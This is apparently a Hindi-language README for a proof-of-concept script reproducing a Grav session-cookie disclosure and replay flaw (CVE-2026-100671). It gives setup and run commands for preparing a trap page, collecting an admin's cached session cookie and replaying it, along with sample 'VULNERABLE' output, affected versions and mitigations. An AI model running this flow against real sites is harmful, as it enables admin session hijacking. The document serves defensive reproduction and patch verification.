
CVE-2026-100671 के लिए केवल-स्थानीय प्रूफ-ऑफ-कॉन्सेप्ट सत्यापनकर्ता, जो लूपबैक लक्ष्यों के विरुद्ध Grav Twig पेज-कैश सत्र-कुकी प्रकटीकरण और पुनःप्ले को पुनरुत्पादित करता है।
Grav 2.0.25 में ठीक किए गए Grav content-Twig/page-cache सत्र अधिग्रहण के लिए न्यूनतम, लक्ष्य-सीमित आक्रामक-पक्ष सत्यापनकर्ता।
सलाहकार सूचनाएँ:
आक्रामक के पास व्यवस्थापक उपयोगकर्ता नाम या पासवर्ड नहीं है।
वास्तविक श्रृंखला यह है:
व्यवस्थापक क्रिया इस स्क्रिप्ट के बाहर होती है। exploit.py कोई
GRAV_ADMIN_USERNAME या GRAV_ADMIN_PASSWORD सेटिंग स्वीकार नहीं करता।
लूपबैक डिफ़ॉल्ट सुरक्षा सीमा है। गैर-लूपबैक लक्ष्य के लिए स्पष्ट
--allow-remote फ़्लैग आवश्यक है, जो किसी अधिकृत HTB, TryHackMe, या
स्वयं के लैब मशीन के लिए है।
क्लाइंट रीडायरेक्ट का पालन केवल तब करता है जब वे चयनित लक्ष्य ओरिजिन पर ही रहें,
Python मानक-लाइब्रेरी HTTP क्लाइंट का उपयोग करता है, अनुरोध टाइमआउट लागू करता है, और
कैप्चर की गई कुकी केवल तब प्रिंट करता है जब --show-cookie स्पष्ट रूप से दिया गया हो।
केवल उस Grav इंस्टेंस के विरुद्ध उपयोग करें जो आपका हो या जिसे परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया हो। स्क्रिप्ट एक सार्वजनिक प्रमाण पेज बनाती है। यदि लक्ष्य रन के बीच सामग्री रखता है तो परीक्षण के बाद उस पेज को हटा दें।
get_cookie() सर्वर-साइड पर आने वाले व्यवस्थापक की सत्र कुकी पढ़ता है।पेज-लेखन खाते को केवल निम्न-विशेषाधिकार लेखन पथ की आवश्यकता होती है। इसे
api.pages.read, admin.*, सुपर-एडमिन पहुँच, या व्यवस्थापक क्रेडेंशियल की आवश्यकता नहीं है।
2.0.19 से 2.0.24 तक: शिप किए गए डिफ़ॉल्ट content-Twig
कॉन्फ़िगरेशन के साथ भेद्य।2.0.0 से 2.0.18 तक, और 1.7.x: केवल तब प्रभावित जब content Twig
स्पष्ट रूप से सक्षम किया गया हो।2.0.25: ठीक किया गया।Grav लक्ष्य को इनके साथ चलाएँ:
यह दो-फ़ाइल रिपॉज़िटरी Grav, PHP, प्लगइन, खाते, या व्यवस्थापक बॉट प्रदान नहीं करती। पीड़ित का विज़िट एक बाहरी क्रिया ही रहता है।
केवल निम्न-विशेषाधिकार लेखक क्रेडेंशियल या टोकन सेट करें:
export GRAV_TARGET=http://127.0.0.1:8080
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='local-writer-password'
python3 exploit.py
स्क्रिप्ट एक यादृच्छिक सार्वजनिक रूट बनाती है, उसका URL प्रिंट करती है, और प्रतीक्षा करती है। व्यवस्थापक से एक बार उस URL पर जाने को कहें, फिर Enter दबाएँ। स्क्रिप्ट अनाम संग्रह और स्थानीय API रीप्ले करती है।
इसके बजाय किसी मौजूदा writer API टोकन का उपयोग करें:
export GRAV_WRITER_TOKEN='local-low-privilege-token'
python3 exploit.py
गैर-इंटरैक्टिव टर्मिनल या अलग विक्टिम ब्राउज़र के लिए उपयोगी।
पेज तैयार करें:
python3 exploit.py --prepare-only
किसी व्यवस्थापक से मुद्रित URL पर जाने के लिए कहें। फिर मुद्रित रूट का उपयोग करके एकत्र करें और पुनः चलाएँ; इस दूसरे चरण के लिए किसी क्रेडेंशियल की आवश्यकता नहीं है:
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --show-cookie
--show-cookie स्थानीय/अधिकृत लैब डिबगिंग के लिए कैप्चर किया गया सत्र कुकी प्रिंट करता है:
captured_cookie=grav-site-<hash>=<session-value>
यह मान एक लाइव क्रेडेंशियल है। इसे GitHub, issues, चैट, स्क्रीनशॉट या लॉग में न चिपकाएँ। --show-cookie के बिना, स्क्रिप्ट replay स्थिति के माध्यम से वही प्रभाव सिद्ध करती है और मान को आउटपुट से बाहर रखती है।
यदि संग्रह व्यवस्थापक के दौरे से पहले चलता है, तो हमलावर का अनुरोध कैश को खाली मान से भर सकता है। एक नया यादृच्छिक रूट तैयार करें और दोहराएँ।
रिपॉज़िटरी में मशीन IP को हार्डकोड न करें। रनटाइम पर वर्तमान लक्ष्य प्रदान करें:
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='writer-password'
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--prepare-only
प्रिंट किए गए URL पर व्यवस्थापक/बॉट के जाने के बाद, एकत्र करें और पुनः चलाएँ:
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--collect-only \
--route /cookie-proof-XXXXXXXX \
--show-cookie
--base-url अभी भी --target के लिए एक संगतता उपनाम बना हुआ है। रिमोट HTTP एक
क्लीयरटेक्स्ट चेतावनी प्रिंट करता है; जहाँ मशीन इसका समर्थन करती है वहाँ HTTPS का उपयोग करें।
page_create_status=201
victim_action_url=http://127.0.0.1:8080/cookie-proof-XXXXXXXX
anonymous_page_status=200
cookie_name_disclosed=yes
cached_cookie_visible_to_attacker=yes
captured_cookie=grav-site-<hash>=<session-value>
replayed_cookie_api_status=200
result=VULNERABLE
captured_cookie पंक्ति केवल --show-cookie के साथ दिखाई देती है।
Grav 2.0.25 या उसके बाद के संस्करण के विरुद्ध वही दो-चरणीय प्रवाह चलाएँ, फिर इसके साथ एकत्र करें:
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --expect fixed
अपेक्षित निश्चित व्यवहार: कोई हमलावर-दृश्यमान सत्र मान नहीं और कोई सफल
सत्र पुनःप्ले नहीं। एक स्वच्छ निश्चित परिणाम --expect fixed के साथ 0 पर समाप्त होता है।
Grav 2.0.25 या बाद के संस्करण में अपग्रेड करें। पुराने परिनियोजन के लिए, सलाहकार इन
अस्थायी नियंत्रणों को सूचीबद्ध करता है:
security.twig_content.process_enabled: false के साथ सामग्री Twig अक्षम करें; याsystem.pages.never_cache_twig: true सेट करें;HttpOnly, Secure, या SameSite को समाधान न मानें: भेद्य कुकी पढ़ना Twig रेंडरिंग के दौरान सर्वर-साइड होता है।
canhieu द्वारा रिपोर्ट किया गया। यह रिपॉज़िटरी पहले से सार्वजनिक सलाहकार के लिए एक पुनरुत्पादन सहायता है, न कि कोई रिमोट स्कैनर या क्रेडेंशियल-हार्वेस्टिंग टूल।